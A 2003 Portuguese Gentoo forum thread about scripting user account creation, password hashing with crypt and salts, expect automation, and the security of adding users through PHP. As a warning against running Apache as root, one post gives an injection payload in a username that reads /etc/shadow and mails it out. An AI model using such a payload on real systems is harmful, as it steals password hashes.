View previous topic :: View next topic |
Author |
Message |
raragao n00b
Joined: 17 Nov 2002 Posts: 6
|
Posted: Fri Jun 20, 2003 8:13 pm Post subject: Script para adicionar usuario |
|
|
Eu gostaria de fazer um script para adicionar usuários automaticamente, pois o postfix não faz isso. Quando fui utilizar o comando adduser com a opção -p percebi que a senha que tenho que passar já tem que estar encriptada.... como faço para obter a senha encriptada ?
Outra coisa é como posso fazer pra criar um script que modifique a senha sem parar pra perguntar ? Ou seja, passo como parametro a senha e o script muda automaticamente.
Obrigado. |
|
Back to top |
|
|
PT_LAmb Guru
Joined: 22 Apr 2002 Posts: 332 Location: Lisboa (Lisbon), Portugal
|
Posted: Sat Jun 21, 2003 1:25 am Post subject: |
|
|
Vivas,
Não conheço nenhum script que faça o que pedes, no entanto é muito provável que exista um.
Em alternativa a encontrar esse tal script podes sempre fazer um programita em C muito simples, que utiliza funções como a crypt(3) para encriptar a password e provavelmente uma outra que possa estar documentada na Glibc para alterar/extrair informações do utilizador.
Vamos se alguém no forum se lembra de algo mais fácil de fabricar ou utilizar (caso já esteja feito).
Boa sorte,
Ricardo Cordeiro
PS - link interessante _________________ SETI@Home - http://setiathome.ssl.berkeley.edu/ |
|
Back to top |
|
|
humpback Retired Dev
Joined: 19 Oct 2002 Posts: 394 Location: Coimbra - Portugal
|
Posted: Sat Jun 21, 2003 1:56 am Post subject: |
|
|
as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... _________________ Gustavo Felisberto
Humpback @ #gentoo-pt
------------
It's most certainly GNU/Linux, not Linux. Read more at
http://www.gnu.org/gnu/why-gnu-linux.html .
------------- |
|
Back to top |
|
|
lmpinto Tux's lil' helper
Joined: 12 Feb 2003 Posts: 94 Location: somewhere near a computer and a beer.
|
Posted: Sat Jun 21, 2003 12:57 pm Post subject: |
|
|
À falta de melhor crias a conta com o adduser ou superadduser, e crias um script em expect(1) para te mudar a password do utilizador. Caso vás pelo superadduser não te livras do expect (sempre podes experimentar a por os valores que queres num ficheiro, e experimentar um 'cat ficheiro | superadduser', mas pode não dar). Acho que a tua melhor hipotese será mesmo criares o utilizador com o adduser normal, mesmo que seja com um hash invalido como password, e depois alterá-la com um script com expect. Se tiveres duvidas acerca do expect investiga o autoexpect. |
|
Back to top |
|
|
PT_LAmb Guru
Joined: 22 Apr 2002 Posts: 332 Location: Lisboa (Lisbon), Portugal
|
Posted: Sat Jun 21, 2003 8:24 pm Post subject: |
|
|
Vivas,
humpback wrote: | as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... | pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?
Desde já obrigado,
Ricardo Cordeiro _________________ SETI@Home - http://setiathome.ssl.berkeley.edu/ |
|
Back to top |
|
|
humpback Retired Dev
Joined: 19 Oct 2002 Posts: 394 Location: Coimbra - Portugal
|
Posted: Sat Jun 21, 2003 8:57 pm Post subject: |
|
|
PT_LAmb wrote: | Vivas,
humpback wrote: | as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... | pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?
Desde já obrigado,
Ricardo Cordeiro |
Hmmmm pois..... Ai não sei. Em scripts que ja fiz usei o md5sum _________________ Gustavo Felisberto
Humpback @ #gentoo-pt
------------
It's most certainly GNU/Linux, not Linux. Read more at
http://www.gnu.org/gnu/why-gnu-linux.html .
------------- |
|
Back to top |
|
|
To Veteran
Joined: 12 Apr 2003 Posts: 1145 Location: Coimbra, Portugal
|
Posted: Sun Jun 22, 2003 10:06 am Post subject: |
|
|
Tinha um script todo pipi em ncurses, que era um pouco um frontend entre o adduser e o passwd, para adicionar users. Se encontrar isso eu ponho aqui o link para o site dele.
Tó
EDITED: btw scripts em PHP para adicionar users? Palpita-me a problemas de segunrança... _________________
------------------------------------------------
Linux Gandalf 3.2.35-grsec
Gentoo Base System version 2.2
------------------------------------------------ |
|
Back to top |
|
|
lmpinto Tux's lil' helper
Joined: 12 Feb 2003 Posts: 94 Location: somewhere near a computer and a beer.
|
Posted: Sun Jun 22, 2003 3:11 pm Post subject: |
|
|
humpback wrote: | PT_LAmb wrote: | Vivas,
humpback wrote: | as passwords em gentoo são md5sums. Existe o superadduser que é um pouco melhor.... | pensava que a crypt(3) tambem codificava em md5. Nesse caso qual é a função para o md5?
Desde já obrigado,
Ricardo Cordeiro |
Hmmmm pois..... Ai não sei. Em scripts que ja fiz usei o md5sum |
Isso é muito bom quando estás a usar a tua própria autenticação. Se usares o /etc/{passwd|shadow} tens de ter em atenção o salt. |
|
Back to top |
|
|
humpback Retired Dev
Joined: 19 Oct 2002 Posts: 394 Location: Coimbra - Portugal
|
Posted: Sun Jun 22, 2003 7:18 pm Post subject: |
|
|
To wrote: |
EDITED: btw scripts em PHP para adicionar users? Palpita-me a problemas de segunrança... |
tudo depende do que está em volta do tal script e do que ele faz.
O php não é uma linguaguem nem mais nem menos segura que C ou Perl. O passwd é uma aplicação relativamente segura, mas se tu estiveres a usar telnet para aceder a shell a segurança cai.
Regra geral o problema dos scripts PHP (ou CGI's) está na falta de conhecimentos na área de segurança de quem os faz. _________________ Gustavo Felisberto
Humpback @ #gentoo-pt
------------
It's most certainly GNU/Linux, not Linux. Read more at
http://www.gnu.org/gnu/why-gnu-linux.html .
------------- |
|
Back to top |
|
|
To Veteran
Joined: 12 Apr 2003 Posts: 1145 Location: Coimbra, Portugal
|
Posted: Mon Jun 23, 2003 7:40 am Post subject: |
|
|
lmpinto wrote: | Tó - dizes que isto é possível de se fazer em php, mas como? Não me lembro de nenhuma hipótese de correr o adduser ou o passwd como root sem ter ou o httpd a correr como root, ou o php a correr como cgi com o suexec, que julgo que nao funciona para o root... (não me lembro se dá para configurar dar ou não para o root)... Seja como for, este tipo de coisas não o faria em php, faria em perl. Em perl pode-se usar o suexec, ou um script setuid com o suidperl... Se bem que a diferença de complexidade entre perl e php também não é pequena... |
Uma hipotese, podes definir um vhost e dentro desse vhost o user e group do apache. O apache a correr como root e já estas a ver o resto.
Outra hipotese, o PHP a correr em modo CGI e com o suexec.
Mas volto a dizer o que digo desde o ínicio do post. Queres adicionar users numa maquina?
1. ssh -l vosso_username ip_da_maquina
2. su -
3. Escolham entre por exemplo adduser ou superadduser
Tó _________________
------------------------------------------------
Linux Gandalf 3.2.35-grsec
Gentoo Base System version 2.2
------------------------------------------------ |
|
Back to top |
|
|
pilla Bodhisattva
Joined: 07 Aug 2002 Posts: 7729 Location: Underworld
|
Posted: Mon Jun 23, 2003 12:23 pm Post subject: |
|
|
O bate-boca foi pra cá; por favor, mantenham-se dentro dos tópicos das threads e evitem essas criancices. O fórum Português anda muito bagunçado, está até parecendo o Off the Wall. Aliás, pior. _________________ "I'm just very selective about the reality I choose to accept." -- Calvin |
|
Back to top |
|
|
lmpinto Tux's lil' helper
Joined: 12 Feb 2003 Posts: 94 Location: somewhere near a computer and a beer.
|
Posted: Mon Jun 23, 2003 12:26 pm Post subject: |
|
|
To wrote: |
Uma hipotese, podes definir um vhost e dentro desse vhost o user e group do apache. O apache a correr como root e já estas a ver o resto.
Outra hipotese, o PHP a correr em modo CGI e com o suexec.
Mas volto a dizer o que digo desde o ínicio do post. Queres adicionar users numa maquina?
1. ssh -l vosso_username ip_da_maquina
2. su -
3. Escolham entre por exemplo adduser ou superadduser |
Tudo bem - mas a primeira alternativa dá-me calafrios - é só esperar pelo primeiro utilizador chamado 'teste";cat /etc/shadow | mail xpto@hotmail.com'
Quanto à segunda - eu acho que o raragao queria uma coisa um bocado mais automatizada, que nao o obrigue a ser ele a fazer isso
Quanto ao adduser/superadduser, o problema nao está ai (embora pessoalmente aconselhe o adduser -- o superadduser, por ser interactivo, trás complexidade adicional) - está mesmo na geração da password. Em php existe o código que já mencionei em cima. Para perl tb ha qualquer coisa desse tipo. À falta de melhor, usa-se expect (todos os anos, no inicio do ano lectivo, tenho de criar cerca de 100 contas - essa criação passa por operações feitas em 3 máquinas diferentes - um script em expect, primeiro gerado com o autoexpect e depois editado à mão toma perfeitamente conta do recado) |
|
Back to top |
|
|
|